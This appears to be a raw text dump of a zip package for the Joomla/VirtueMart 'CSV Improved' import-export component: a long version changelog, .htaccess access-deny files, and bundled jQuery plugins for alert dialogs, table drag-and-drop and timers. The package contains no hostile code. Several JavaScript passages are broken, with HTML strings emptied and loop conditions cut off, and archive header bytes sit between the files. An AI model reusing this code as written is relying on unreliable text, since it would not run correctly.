database table definition to prevent possible key length error Version 1.5 beta 1.1 General / Updated license check Version 1.5 beta 1 Import + Added price calculations for both regular and multiple prices import + Added price_with_tax + Added option to ignore non-existing products + Added manufacturer category ID + Added downloadable files option to Multiple Files import (product_files_download) + Added product_type_parameter_delete option + Added manufacturer_category_details import - Removed 100 character limitation on import preview + Added support for ODS files (OpenOffice Spreadsheet) + Added check if cache folder is writable * Fixed cron support + Added default values from template to preview + Added option to set default thumbnail format + Added user info import Export + Added order export by order number + Added order export by date range + Added order export by order status + Added order export by price + Added order export by customer name + Added removal of linebreaks on export + Added export results to log table * Fixed dates exporting as Unix timestamps * Fixed cron support + Added XML support for Oodle.com + Added user info export / Drastically reduced memory usage on export General / Converted to Joomla 1.5 codebase + Added logging storage + Added browseable list of available fields Version 0.9 Import * Fixed the product type parameters not able to update Export + Added removal of linebreaks for product export * Fixed discount start and end date to export as regular dates * Fixed product type exports were broken * product_thumb_image was exported as product_full_image Templates / Changed field adding and removing to no longer use AJAX / Updated layout to specify add field section General / Changed DB layout check to ensure DB structure consistency Version 0.9 RC 1 Import * Fixed multiple prices import to reset shopper groups * Fixed Fatal error: Class 'product_files' not found in product type parameters Templates * Fixed template not being saved * Fixed manufacturer selection got lost Version 0.9 beta 2 Import * Fixed conversion option lost + Add price field check if entry is numeric * Fixed preview losing convert choice * Fixed cron throwing a GetObject() on a non-object error Export * Fixed order export to include non-existing users * Fixed export not exporting first record Templates * Fixed settings getting lost General / Updated installer script Version 0.9 beta 1 Import + Added cron import via command line + Added support for passwords without salt + Added warning if more than 1 product <--> manufacturer link exists * Fixed manufacturer name not being escaped for database insert * Fixed generic manufacturers created when only importing manufacturer ID + Added category_id + Added custom database fields from the #__vm_product table + Added support for CSVI XML * Improved the file upload handling / Changed the preview layout Export * Fix price_with_discount using wrong discount + Added category_id / Updated Google Base XML for category paths * Fix picture URL path / Updated product description for Google Base to always be filled + Added custom database fields from the #__vm_product table + Added support for CSVI XML + Added export per manufacturer for products Templates + Added export filename + Added system limit settings - Removed standard delimiters + Added wizard for adding and editing templates / Redo Field management * Fix error when publishing no selected fields / Moved renumber icon from toolbar to field list Languages + Added French translation by Michel Loriaut and Xavier Lemoine / Updated Spanish translation by Juan Ferrari / Updated Polish translation by Keran from Quarkbit Software Version 0.8 Stable Import * Fixed attribute_values not properly added * Fixed duplicate product_tax_id Languages / Updated German language file thanks kaltokri Version 0.8 RC 3 Export + Add user_id and product_id fields to order export * Updated XML export by adding CDATA tags * Added UTF-8 encoding to the Froogle XML export / Changed mf_name to manufacturer_name for order export + Added username to order export * Fixed duplication of products on export * Fixed category details export / Changed export filename to use template name Import * Fixed fatal error Call to undefined method CsviSupportedFields::FieldsProductTypeXref() * Fixed cannot access empty property in the rpc file * Fixed Fatal error: Call to undefined method CsviRegistry::CloneObje() + Added Create manufacturer link if none exists * Fixed undefined $debug * Fixed a timeout bug where max_execution_time is set to 0 * Fixed incorrect manufacturer <---> product links * Fixed possible double vendor_id in add product query Maintenance / Changed layout of maintenance page General * Fixed VirtueMart check Version 0.8 RC 2.1 Export * Fix layout of discounted price * Fix exports giving blank files Version 0.8 RC 2 Import * Fixed product_parent_sku deleted on import * Fixed Fatal error: Class 'product_files' not found on multiple prices import - Removed product type cross reference import + Product type names spaces converted to underscores Export + Added Order export * Fix attribute_values for downloadables * Fix incorrect fieldname for order export + Added manufacturer name to order export - Removed product type cross reference export + Added record limits to all exports Templates + Added page navigation to template list + Added filter to field page + Added alternate row colors on template and field page General * Merged the product type cross reference into product type names import Version 0.8 RC 1 Import * Fixed invalid reference in mime type detection * Fixed preview mode broken with imported file only 5 lines * Fixed debug reporting being overridden * Fixed template fields import * Fixed product discount id not being used + Added more details for import preview errors * Fixed product files import * Fixed import not reading fields correctly / Changed loading of template details now uses AJAX Export * Fix hardcoded table prefixes + Add manufacturer export * Fixed incorrect column header / Changed loading of template details now uses AJAX Templates / Changed template fields page to Joomla style + Added button to add custom field * Standard thumb width and height set to 90x90 General - Removed Help section + Added link to wiki (http://www.csvimproved.com/wiki/doku.php/) + Added AJAX support Version 0.8 beta 6 Import + Added option to choose to convert encoding + Added check if iconv is available + Added BOM removal + Added check if memory_get_usage is available * Fixed linenumbers not always showing * Fixed the mdate/cdate import fields + Added default file location path to import template Export - Removed standard UTF-8 export, iconv might not be installed * Fixed the export to file, not being able to write General - Removed PHP 4 support + Added check for PHP 5 installation Version 0.8 beta 5 Import + Added filename to import results + Added button to return to import page on results page + Added manufacturer data import / Changed template list to only show import templates + Added table of site limits for import for user to check + Added check for maximum execution time + Added category details import + Added preview option for templates and template fields + Added character translation to UTF-8 Export * Fixed missing delimiter on product price in CSV export + Added export limits / Changed template list to only show export templates + Added export per shopper group + Added export to local file + Added product url suffix / Changed product_url to force http + Added list of templates to export / Changed export to respect template fields + Added record limits to filename if used + Added category details export / Changed file encoding to be UTF-8 + Added field to export discounted price + Added option to export published/unpublished/both products - Removed full server path from imagename Templates + Added tabs to clarify what options are meant for + Added thumbnail sizes for import - Removed support for required field + Added option to clone templates + Added configurable file location for product files/product images + Added check if no more fields available to add + Added automatic field ordering + Added option to select state of products to export Maintenance * Fixed product type tables not being deleted + Added option to sort categories alphabetically General + Added check if Virtuemart is installed + Added logging class * Recoded import process + Added support for Virtuemart 1.1 display options + Added Italian translation by Crisalex + Added Joomla 1.5 support using legacy mode + Added CSVI standard templates Version 0.8 beta 4.1 Import * Fixed data not being processed * Fixed txt file upload causing foreach error Export * Fixed   not allowed in XML export Version 0.8 beta 4 Import * Fixed preview to show on all product imports + Added multiple prices import to also update prices * Fixed not using default values + Added Excel support * Fixed missing price_delete field - Removed radiobutton selection * Fixed field configuration not matching Export * Fixed bug with product discount that has too many delimiters * Fixed default values not always used * Fixed product_available_date not being exported correctly * Fixed XML entities / Changed export filenames to be more descriptive * Fixed invalid XML file header General * Cleaned up file import code to allow other filetypes to upload + Supported fields now being alphabetized Version 0.8 beta 3 Import + Added tax value import * Fixed import of category names with apostrophe - Removed Empty Database option - Removed the Price List Only Upload obsolete due to templates / Changed page layout + Added template import + Added template fields import Export * Fixed export not using CSVI configuration table * Fixed product_available_date not adding field delimiter / Changed page layout + Added creation of product URL if there is none in the database + Added support for custom column names + Added template export + Added template fields export + Added picture url export + Added price with tax export + Added XML support for beslist.nl + Added XML support for froogle.com * Fixed manufacturer_name and manufacturer_id Templates * Fixed fatal error on templates page * Fixed bug available fields not selected on template ID * Fixed bug where template fields were not deleted on template removal * Fixed cancel returning to templates page showing no templates / Changed page layout + Added custom fields + Added a Froogle Export template Maintenance + Added Empty Database option + Added Removal of orphaned fields + Added Optimization of the CSV Improved tables General + Added Russian translation by Sbmart + Added Spanish translation by Joao + Added Polish translation by Jurek + Added German translation by Jingo + Added icons kindly supplied by Joao / Changed layout of program + Added maintenance page / Changed output totals to only show if count is greater than 0 * Choose language according to Joomla language setting * Split the language file. Help texts are now separated from main texts Version 0.8 beta 2.1 Import * Fixed updating of discounts when field not used * Fixed updating of prices when field not used + Added updating to product type names imports * Fixed preview mode Export * Fixed product type export layout as it had an incorrect column header * Fixed product type names export layout. Removed ^ at the end of the line Version 0.8 beta 2 Import * Fixed fatal error with manufacturer import Export / Changed price export to drop trailing zeroes after second digit * Order export on SKU + Added product type parameters export + Added product type names export General / Changed tab system to use Joomla tabs + Added Joomla toolbar - Removed deletion of tables on uninstall Version 0.8 beta 1 Import * Fixed product type details upload * Fixed error where child products did not have a price set Export + Added product type export * Fixed export of customized ordering + Export now uses the template settings / Changed the types of export to match the types of import Templates / Changed layout of templates * Fixed " and ' as delimiter not showing * Fixed skip first line not being updated General + Converted CSV Improved into Joomla! component * Added product_relations table to empty database list Version 0.7.5 Import * Fixed product adding error in certain cases + Added SQL Error reporting / Changed unsupported fields reporting * Fixed bug with shopper group name if not specified + Added related products + Added multiple files + Added template system for import General + Added attribute documentation + Created CSV Improved language file + Created CSV Improved CSS file - Removed Dutch since the file is too old Version 0.7.4 Import * Fixed error "Missing argument 1 for product_details::ProcessDiscount()." * Fixed first line of file not imported * Fixed not adding or updating products * Fixed category path not updated Version 0.7.3 Import - Removed product_discount_id * Fixed child products upload + Added shopper group name to multiple prices upload * Improved error handling on multiple prices upload * Improved code for stabilizing import Preview * Removed Continue button when an error is encountered General * Updated language file * Updated help texts Version 0.7.2 Import * Fixed error with field enclosure set to none * Fixed error "Cannot break/continue ..." * Fixed undefined variable Configuration * Fixed error with wrong datatype on saving the configuration Version 0.7.1 Import * Fixed product discount not being imported * Fixed problem where download dialog pops up * Fixed update of several fields not working * Fixed price update if price is 0 or blank * Re-added product_discount_id * Fixed child products Export + Added column headers to the Default ordering * Export takes all fields as stated in configuration page General * Improved debug collection * Fixed image not to display from front-end * Fixed navigation bar in front-end after saving configuration * Code rewrite export - Removed required fields from configuration Version 0.7 Import + Added field product_currency + Added option to import product types + Added option to import multiple prices per product + Added option to empty database * Fixed skip first line with preview mode * Fixed updating non-existing prices * Fixed preview layout that is wider than the screen Configuration * Fixed Add Field button does not work * Fixed problem with existing fields in csv table that are not supported General * Code rewrite * Improved debug collection * Updated Documentation tab * Updated Available Fields tab Translations + Added Dutch translation by giovi2002 Version 0.6.1 Import * Fixed preview not working * Fixed preview with Upload price list only * Fixed preview with " or ' as enclosure character * Fixed problem that uploaded file was always saved in cache folder Version 0.6 Import + Added option to use column headers as configuration + Added option to preview import + Added option to collect debug information * Improved support for child products * Fixed bug with date import for product_available_date Export * Fixed broken export General * Replaced text input fields in configuration tab with dropdown menus for easier configuration * Finalized changes Documentation page + Added the About page Version 0.5.1 Import * Fixed bug where Price List Upload only did not work because of not overwriting existing data Version 0.5 Import + Added option to do a Upload price list only * Only product_sku is mandatory now * Fixed bug when using custom enclosure and/or delimeter + Added option to import manufacturers * Fixed bug where product_publish was added twice to the SQL query * Fixed bug where commas in product_price was not replaced with a period * Fixed bug where all fields were imported General * Updated documentation Version 0.4 Import + Added option to import product_available_date using a regular date format + Added option to import product_box + Added option to import product_packaging + Added option to import product discounts * Fixed bug if product_publish is not used, items were not published * Fixed bug if product_delete is not used, items were not added, import crashed General + Added import statistics to the CSV upload result page * Updated the message output on the CSV upload result page * Updated localization * Updated the descriptions on the Available Fields page Version 0.3 Import * Fixed if product_publish is empty, default is now set to Yes * Fixed the vendor id. If no vendor is set, vendor id should be 1 instead of 0 + Added a check for correct number of columns + Added option to choose not to overwrite existing data + Added option to skip the default value and not use the field in the update Settings / Changed default field delimiter to ^ and text enclosure to ~ General + Added a link to the CSV import/export on the CSV upload result page + Added import flow description to readme.txt * Updated the Available Fields page with the minimal required fields * Updated the layout of the import/export tab Version 0.2.1 Import * Fixed a few undefined variables * Fixed check for required fields Version 0.2 Import + Allow empty fields + Made all fields from the product table optional except for product_id, product_sku, vendor_id, cdate, mdate, product_name. + Possibility to delete products on import General + Added a tab with the possible fields that can be used including documentation / Changed layout of the result page / Changed font size on the description page so it reads better in Firefox. Version 0.1 Import + Numbers imported with a comma are changed to a period for correct database insertion. This I found necessary since my locale uses comma as a seperator. The only thing I do not know/understand is, how to get a comma on the webshop frontend? + Imported data is sanitized for database insertion. This means that you can use regular HTML code in your long description or apostrophe in your products name for example. Export + Removed backslashes from the export Settings + Added the delimiter and field closure from Lauries Excel Generator + Added an inputbox for both the delimeter and field closure + Added an option to choose to add column headers General + Renamed Field Required? to Field Included? + Made the system honor the choice to include or not include a field for exportPKs>\)com_csvi/assets/.htaccessnuW+A Order allow,deny Deny from all PKs>\#com_csvi/assets/js/jquery.alerts.jsnuW+A// jQuery Alert Dialogs Plugin // // Version 1.1 // // Cory S.N. LaViska // A Beautiful Site (http://abeautifulsite.net/) // 14 May 2009 // // Visit http://abeautifulsite.net/notebook/87 for more information // // Usage: // jAlert( message, [title, callback] ) // jConfirm( message, [title, callback] ) // jPrompt( message, [value, title, callback] ) // // History: // // 1.00 - Released (29 December 2008) // // 1.01 - Fixed bug where unbinding would destroy all resize events // // License: // // This plugin is dual-licensed under the GNU General Public License and the MIT License and // is copyright 2008 A Beautiful Site, LLC. // (function($) { $.alerts = { // These properties can be read/written by accessing $.alerts.propertyName from your scripts at any time verticalOffset: -75, // vertical offset of the dialog from center screen, in pixels horizontalOffset: 0, // horizontal offset of the dialog from center screen, in pixels/ repositionOnResize: true, // re-centers the dialog on window resize overlayOpacity: .01, // transparency level of overlay overlayColor: '#FFF', // base color of overlay draggable: true, // make the dialogs draggable (requires UI Draggables plugin) okButton: ' OK ', // text for the OK button cancelButton: ' Cancel ', // text for the Cancel button dialogClass: null, // if specified, this class will be applied to all dialogs // Public methods alert: function(message, title, callback) { if( title == null ) title = 'Alert'; $.alerts._show(title, message, null, 'alert', function(result) { if( callback ) callback(result); }); }, confirm: function(message, title, callback) { if( title == null ) title = 'Confirm'; $.alerts._show(title, message, null, 'confirm', function(result) { if( callback ) callback(result); }); }, prompt: function(message, value, title, callback) { if( title == null ) title = 'Prompt'; $.alerts._show(title, message, value, 'prompt', function(result) { if( callback ) callback(result); }); }, // Private methods _show: function(title, msg, value, type, callback) { $.alerts._hide(); $.alerts._overlay('show'); $("BODY").append( ''); if( $.alerts.dialogClass ) $("#popup_container").addClass($.alerts.dialogClass); // IE6 Fix var pos = ($.browser.msie && parseInt($.browser.version) <= 6 ) ? 'absolute' : 'fixed'; $("#popup_container").css({ position: pos, zIndex: 99999, padding: 0, margin: 0 }); $("#popup_title").text(title); $("#popup_content").addClass(type); $("#popup_message").text(msg); $("#popup_message").html( $("#popup_message").text().replace(/\n/g, '
      ') ); $("#popup_container").css({ minWidth: $("#popup_container").outerWidth(), maxWidth: $("#popup_container").outerWidth() }); $.alerts._reposition(); $.alerts._maintainPosition(true); switch( type ) { case 'alert': $("#popup_message").after(''); $("#popup_ok").click( function() { $.alerts._hide(); callback(true); }); $("#popup_ok").focus().keypress( function(e) { if( e.keyCode == 13 || e.keyCode == 27 ) $("#popup_ok").trigger('click'); }); break; case 'confirm': $("#popup_message").after(''); $("#popup_ok").click( function() { $.alerts._hide(); if( callback ) callback(true); }); $("#popup_cancel").click( function() { $.alerts._hide(); if( callback ) callback(false); }); $("#popup_ok").focus(); $("#popup_ok, #popup_cancel").keypress( function(e) { if( e.keyCode == 13 ) $("#popup_ok").trigger('click'); if( e.keyCode == 27 ) $("#popup_cancel").trigger('click'); }); break; case 'prompt': $("#popup_message").append('
      ').after(''); $("#popup_prompt").width( $("#popup_message").width() ); $("#popup_ok").click( function() { var val = $("#popup_prompt").val(); $.alerts._hide(); if( callback ) callback( val ); }); $("#popup_cancel").click( function() { $.alerts._hide(); if( callback ) callback( null ); }); $("#popup_prompt, #popup_ok, #popup_cancel").keypress( function(e) { if( e.keyCode == 13 ) $("#popup_ok").trigger('click'); if( e.keyCode == 27 ) $("#popup_cancel").trigger('click'); }); if( value ) $("#popup_prompt").val(value); $("#popup_prompt").focus().select(); break; } // Make draggable if( $.alerts.draggable ) { try { $("#popup_container").draggable({ handle: $("#popup_title") }); $("#popup_title").css({ cursor: 'move' }); } catch(e) { /* requires jQuery UI draggables */ } } }, _hide: function() { $("#popup_container").remove(); $.alerts._overlay('hide'); $.alerts._maintainPosition(false); }, _overlay: function(status) { switch( status ) { case 'show': $.alerts._overlay('hide'); $("BODY").append(''); $("#popup_overlay").css({ position: 'absolute', zIndex: 99998, top: '0px', left: '0px', width: '100%', height: $(document).height(), background: $.alerts.overlayColor, opacity: $.alerts.overlayOpacity }); break; case 'hide': $("#popup_overlay").remove(); break; } }, _reposition: function() { var top = (($(window).height() / 2) - ($("#popup_container").outerHeight() / 2)) + $.alerts.verticalOffset; var left = (($(window).width() / 2) - ($("#popup_container").outerWidth() / 2)) + $.alerts.horizontalOffset; if( top < 0 ) top = 0; if( left < 0 ) left = 0; // IE6 fix if( $.browser.msie && parseInt($.browser.version) <= 6 ) top = top + $(window).scrollTop(); $("#popup_container").css({ top: top + 'px', left: left + 'px' }); $("#popup_overlay").height( $(document).height() ); }, _maintainPosition: function(status) { if( $.alerts.repositionOnResize ) { switch(status) { case true: $(window).bind('resize', $.alerts._reposition); break; case false: $(window).unbind('resize', $.alerts._reposition); break; } } } } // Shortuct functions jAlert = function(message, title, callback) { $.alerts.alert(message, title, callback); } jConfirm = function(message, title, callback) { $.alerts.confirm(message, title, callback); }; jPrompt = function(message, value, title, callback) { $.alerts.prompt(message, value, title, callback); }; })(jQuery);PKs>\)com_csvi/assets/js/.htaccessnuW+A Order allow,deny Deny from all PKs>\com_csvi/assets/js/index.htmlnuW+APKs>\d5CC)com_csvi/assets/js/jquery.tablednd_0_5.jsnuW+A/** * TableDnD plug-in for JQuery, allows you to drag and drop table rows * You can set up various options to control how the system will work * Copyright (c) Denis Howlett * Licensed like jQuery, see http://docs.jquery.com/License. * * Configuration options: * * onDragStyle * This is the style that is assigned to the row during drag. There are limitations to the styles that can be * associated with a row (such as you can't assign a border--well you can, but it won't be * displayed). (So instead consider using onDragClass.) The CSS style to apply is specified as * a map (as used in the jQuery css(...) function). * onDropStyle * This is the style that is assigned to the row when it is dropped. As for onDragStyle, there are limitations * to what you can do. Also this replaces the original style, so again consider using onDragClass which * is simply added and then removed on drop. * onDragClass * This class is added for the duration of the drag and then removed when the row is dropped. It is more * flexible than using onDragStyle since it can be inherited by the row cells and other content. The default * is class is tDnD_whileDrag. So to use the default, simply customise this CSS class in your * stylesheet. * onDrop * Pass a function that will be called when the row is dropped. The function takes 2 parameters: the table * and the row that was dropped. You can work out the new order of the rows by using * table.rows. * onDragStart * Pass a function that will be called when the user starts dragging. The function takes 2 parameters: the * table and the row which the user has started to drag. * onAllowDrop * Pass a function that will be called as a row is over another row. If the function returns true, allow * dropping on that row, otherwise not. The function takes 2 parameters: the dragged row and the row under * the cursor. It returns a boolean: true allows the drop, false doesn't allow it. * scrollAmount * This is the number of pixels to scroll if the user moves the mouse cursor to the top or bottom of the * window. The page should automatically scroll up or down as appropriate (tested in IE6, IE7, Safari, FF2, * FF3 beta * dragHandle * This is the name of a class that you assign to one or more cells in each row that is draggable. If you * specify this class, then you are responsible for setting cursor: move in the CSS and only these cells * will have the drag behaviour. If you do not specify a dragHandle, then you get the old behaviour where * the whole row is draggable. * * Other ways to control behaviour: * * Add class="nodrop" to any rows for which you don't want to allow dropping, and class="nodrag" to any rows * that you don't want to be draggable. * * Inside the onDrop method you can also call $.tableDnD.serialize() this returns a string of the form * []=&[]= so that you can send this back to the server. The table must have * an ID as must all the rows. * * Other methods: * * $("...").tableDnDUpdate() * Will update all the matching tables, that is it will reapply the mousedown method to the rows (or handle cells). * This is useful if you have updated the table rows using Ajax and you want to make the table draggable again. * The table maintains the original configuration (so you don't have to specify it again). * * $("...").tableDnDSerialize() * Will serialize and return the serialized string as above, but for each of the matching tables--so it can be * called from anywhere and isn't dependent on the currentTable being set up correctly before calling * * Known problems: * - Auto-scoll has some problems with IE7 (it scrolls even when it shouldn't), work-around: set scrollAmount to 0 * * Version 0.2: 2008-02-20 First public version * Version 0.3: 2008-02-07 Added onDragStart option * Made the scroll amount configurable (default is 5 as before) * Version 0.4: 2008-03-15 Changed the noDrag/noDrop attributes to nodrag/nodrop classes * Added onAllowDrop to control dropping * Fixed a bug which meant that you couldn't set the scroll amount in both directions * Added serialize method * Version 0.5: 2008-05-16 Changed so that if you specify a dragHandle class it doesn't make the whole row * draggable * Improved the serialize method to use a default (and settable) regular expression. * Added tableDnDupate() and tableDnDSerialize() to be called when you are outside the table */ jQuery.tableDnD = { /** Keep hold of the current table being dragged */ currentTable : null, /** Keep hold of the current drag object if any */ dragObject: null, /** The current mouse offset */ mouseOffset: null, /** Remember the old value of Y so that we don't do too much processing */ oldY: 0, /** Actually build the structure */ build: function(options) { // Set up the defaults if any this.each(function() { // This is bound to each matching table, set up the defaults and override with user options this.tableDnDConfig = jQuery.extend({ onDragStyle: null, onDropStyle: null, // Add in the default class for whileDragging onDragClass: "tDnD_whileDrag", onDrop: null, onDragStart: null, scrollAmount: 5, serializeRegexp: /[^\-]*$/, // The regular expression to use to trim row IDs serializeParamName: null, // If you want to specify another parameter name instead of the table ID dragHandle: null // If you give the name of a class here, then only Cells with this class will be draggable }, options || {}); // Now make the rows draggable jQuery.tableDnD.makeDraggable(this); }); // Now we need to capture the mouse up and mouse move event // We can use bind so that we don't interfere with other event handlers jQuery(document) .bind('mousemove', jQuery.tableDnD.mousemove) .bind('mouseup', jQuery.tableDnD.mouseup); // Don't break the chain return this; }, /** This function makes all the rows on the table draggable apart from those marked as "NoDrag" */ makeDraggable: function(table) { var config = table.tableDnDConfig; if (table.tableDnDConfig.dragHandle) { // We only need to add the event to the specified cells var cells = jQuery("td."+table.tableDnDConfig.dragHandle, table); cells.each(function() { // The cell is bound to "this" jQuery(this).mousedown(function(ev) { jQuery.tableDnD.dragObject = this.parentNode; jQuery.tableDnD.currentTable = table; jQuery.tableDnD.mouseOffset = jQuery.tableDnD.getMouseOffset(this, ev); if (config.onDragStart) { // Call the onDrop method if there is one config.onDragStart(table, this); } return false; }); }) } else { // For backwards compatibility, we add the event to the whole row var rows = jQuery("tr", table); // get all the rows as a wrapped set rows.each(function() { // Iterate through each row, the row is bound to "this" var row = jQuery(this); if (! row.hasClass("nodrag")) { row.mousedown(function(ev) { if (ev.target.tagName == "TD") { jQuery.tableDnD.dragObject = this; jQuery.tableDnD.currentTable = table; jQuery.tableDnD.mouseOffset = jQuery.tableDnD.getMouseOffset(this, ev); if (config.onDragStart) { // Call the onDrop method if there is one config.onDragStart(table, this); } return false; } }).css("cursor", "move"); // Store the tableDnD object } }); } }, updateTables: function() { this.each(function() { // this is now bound to each matching table if (this.tableDnDConfig) { jQuery.tableDnD.makeDraggable(this); } }) }, /** Get the mouse coordinates from the event (allowing for browser differences) */ mouseCoords: function(ev){ if(ev.pageX || ev.pageY){ return {x:ev.pageX, y:ev.pageY}; } return { x:ev.clientX + document.body.scrollLeft - document.body.clientLeft, y:ev.clientY + document.body.scrollTop - document.body.clientTop }; }, /** Given a target element and a mouse event, get the mouse offset from that element. To do this we need the element's position and the mouse position */ getMouseOffset: function(target, ev) { ev = ev || window.event; var docPos = this.getPosition(target); var mousePos = this.mouseCoords(ev); return {x:mousePos.x - docPos.x, y:mousePos.y - docPos.y}; }, /** Get the position of an element by going up the DOM tree and adding up all the offsets */ getPosition: function(e){ var left = 0; var top = 0; /** Safari fix -- thanks to Luis Chato for this! */ if (e.offsetHeight == 0) { /** Safari 2 doesn't correctly grab the offsetTop of a table row this is detailed here: http://jacob.peargrove.com/blog/2006/technical/table-row-offsettop-bug-in-safari/ the solution is likewise noted there, grab the offset of a table cell in the row - the firstChild. note that firefox will return a text node as a first child, so designing a more thorough solution may need to take that into account, for now this seems to work in firefox, safari, ie */ e = e.firstChild; // a table cell } while (e.offsetParent){ left += e.offsetLeft; top += e.offsetTop; e = e.offsetParent; } left += e.offsetLeft; top += e.offsetTop; return {x:left, y:top}; }, mousemove: function(ev) { if (jQuery.tableDnD.dragObject == null) { return; } var dragObj = jQuery(jQuery.tableDnD.dragObject); var config = jQuery.tableDnD.currentTable.tableDnDConfig; var mousePos = jQuery.tableDnD.mouseCoords(ev); var y = mousePos.y - jQuery.tableDnD.mouseOffset.y; //auto scroll the window var yOffset = window.pageYOffset; if (document.all) { // Windows version //yOffset=document.body.scrollTop; if (typeof document.compatMode != 'undefined' && document.compatMode != 'BackCompat') { yOffset = document.documentElement.scrollTop; } else if (typeof document.body != 'undefined') { yOffset=document.body.scrollTop; } } if (mousePos.y-yOffset < config.scrollAmount) { window.scrollBy(0, -config.scrollAmount); } else { var windowHeight = window.innerHeight ? window.innerHeight : document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight; if (windowHeight-(mousePos.y-yOffset) < config.scrollAmount) { window.scrollBy(0, config.scrollAmount); } } if (y != jQuery.tableDnD.oldY) { // work out if we're going up or down... var movingDown = y > jQuery.tableDnD.oldY; // update the old value jQuery.tableDnD.oldY = y; // update the style to show we're dragging if (config.onDragClass) { dragObj.addClass(config.onDragClass); } else { dragObj.css(config.onDragStyle); } // If we're over a row then move the dragged row to there so that the user sees the // effect dynamically var currentRow = jQuery.tableDnD.findDropTargetRow(dragObj, y); /** if (currentRow) { // TODO worry about what happens when there are multiple TBODIES if (movingDown && jQuery.tableDnD.dragObject != currentRow) { jQuery.tableDnD.dragObject.parentNode.insertBefore(jQuery.tableDnD.dragObject, currentRow.nextSibling); } else if (! movingDown && jQuery.tableDnD.dragObject != currentRow) { jQuery.tableDnD.dragObject.parentNode.insertBefore(jQuery.tableDnD.dragObject, currentRow); } } */ if (currentRow) { // TODO worry about what happens when there are multiple TBODIES if (movingDown && jQuery.tableDnD.dragObject != currentRow) { if(currentRow.parentNode == jQuery.tableDnD.dragObject.parentNode) { jQuery.tableDnD.dragObject.parentNode.insertBefore(jQuery.tableDnD.dragObject, currentRow.nextSibling); } } else if (! movingDown && jQuery.tableDnD.dragObject != currentRow) { if(currentRow.parentNode == jQuery.tableDnD.dragObject.parentNode) { jQuery.tableDnD.dragObject.parentNode.insertBefore(jQuery.tableDnD.dragObject, currentRow); } } } } return false; }, /** We're only worried about the y position really, because we can only move rows up and down */ findDropTargetRow: function(draggedRow, y) { var rows = jQuery.tableDnD.currentTable.rows; for (var i=0; i rowY - rowHeight) && (y < (rowY + rowHeight))) { // that's the row we're over // If it's the same as the current row, ignore it if (row == draggedRow) {return null;} var config = jQuery.tableDnD.currentTable.tableDnDConfig; if (config.onAllowDrop) { if (config.onAllowDrop(draggedRow, row)) { return row; } else { return null; } } else { // If a row has nodrop class, then don't allow dropping (inspired by John Tarr and Famic) var nodrop = jQuery(row).hasClass("nodrop"); if (! nodrop) { return row; } else { return null; } } return row; } } return null; }, mouseup: function(e) { if (jQuery.tableDnD.currentTable && jQuery.tableDnD.dragObject) { var droppedRow = jQuery.tableDnD.dragObject; var config = jQuery.tableDnD.currentTable.tableDnDConfig; // If we have a dragObject, then we need to release it, // The row will already have been moved to the right place so we just reset stuff if (config.onDragClass) { jQuery(droppedRow).removeClass(config.onDragClass); } else { jQuery(droppedRow).css(config.onDropStyle); } jQuery.tableDnD.dragObject = null; if (config.onDrop) { // Call the onDrop method if there is one config.onDrop(jQuery.tableDnD.currentTable, droppedRow); } jQuery.tableDnD.currentTable = null; // let go of the table too } }, serialize: function() { if (jQuery.tableDnD.currentTable) { return jQuery.tableDnD.serializeTable(jQuery.tableDnD.currentTable); } else { return "Error: No Table id set, you need to set an id on your table and every row"; } }, serializeTable: function(table) { var result = ""; var tableId = table.id; var rows = table.rows; for (var i=0; i 0) result += "&"; var rowId = rows[i].id; if (rowId && rowId && table.tableDnDConfig && table.tableDnDConfig.serializeRegexp) { rowId = rowId.match(table.tableDnDConfig.serializeRegexp)[0]; } result += tableId + '[]=' + rowId; } return result; }, serializeTables: function() { var result = ""; this.each(function() { // this is now bound to each matching table result += jQuery.tableDnD.serializeTable(this); }); return result; } } jQuery.fn.extend( { tableDnD : jQuery.tableDnD.build, tableDnDUpdate : jQuery.tableDnD.updateTables, tableDnDSerialize: jQuery.tableDnD.serializeTables } );PKs>\\ #com_csvi/assets/js/jquery.timers.jsnuW+A/** * jQuery.timers - Timer abstractions for jQuery * Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com) * Licensed under the WTFPL (http://sam.zoy.org/wtfpl/). * Date: 2009/10/16 * * @author Blair Mitchelmore * @version 1.2 * **/ jQuery.fn.extend({ everyTime: function(interval, label, fn, times) { return this.each(function() { jQuery.timer.add(this, interval, label, fn, times); }); }, oneTime: function(interval, label, fn) { return this.each(function() { jQuery.timer.add(this, interval, label, fn, 1); }); }, stopTime: function(label, fn) { return this.each(function() { jQuery.timer.remove(this, label, fn); }); } }); jQuery.extend({ timer: { global: [], guid: 1, dataKey: "jQuery.timer", regex: /^([0-9]+(?:\.[0-9]*)?)\s*(.*s)?$/, powers: { // Yeah this is major overkill... 'ms': 1, 'cs': 10, 'ds': 100, 's': 1000, 'das': 10000, 'hs': 100000, 'ks': 1000000 }, timeParse: function(value) { if (value == undefined || value == null) return null; var result = this.regex.exec(jQuery.trim(value.toString())); if (result[2]) { var num = parseFloat(result[1]); var mult = this.powers[result[2]] || 1; return num * mult; } else { return value; } }, add: function(element, interval, label, fn, times) { var counter = 0; if (jQuery.isFunction(label)) { if (!times) times = fn; fn = label; label = interval; } interval = jQuery.timer.timeParse(interval); if (typeof interval != 'number' || isNaN(interval) || interval < 0) return; if (typeof times != 'number' || isNaN(times) || times < 0) times = 0; times = times || 0; var timers = jQuery.data(element, this.dataKey) || jQuery.data(element, this.dataKey, {}); if (!timers[label]) timers[label] = {}; fn.timerID = fn.timerID || this.guid++; var handler = function() { if ((++counter > times && times !== 0) || fn.call(element, counter) === false) jQuery.timer.remove(element, label, fn); }; handler.timerID = fn.timerID; if (!timers[label][fn.timerID]) timers[label][fn.timerID] = window.setInterval(handler,interval); this.global.push( element ); }, remove: function(element, label, fn) { var timers = jQuery.data(element, this.dataKey), ret; if ( timers ) { if (!label) { for ( label in timers ) this.remove(element, label, fn); } else if ( timers[label] ) { if ( fn ) { if ( fn.timerID ) { window.clearInterval(timers[label][fn.timerID]); delete timers[label][fn.timerID]; } } else { for ( var fn in timers[label] ) { window.clearInterval(timers[label][fn]); delete timers[label][fn]; } } for ( ret in timers[label] ) break; if ( !ret ) { ret = null; delete timers[label]; } } for ( ret in timers ) break; if ( !ret ) jQuery.removeData(element, this.dataKey); } } } }); jQuery(window).bind("unload", function() { jQuery.each(jQuery.timer.global, function(index, item) { jQuery.timer.remove(item); }); }); PKs>\Y~nncom_csvi/assets/js/jquery.jsnuW+A/*! jQuery v1.7.1 jquery.com | jquery.org/license */ (function(a,b){function cy(a){return 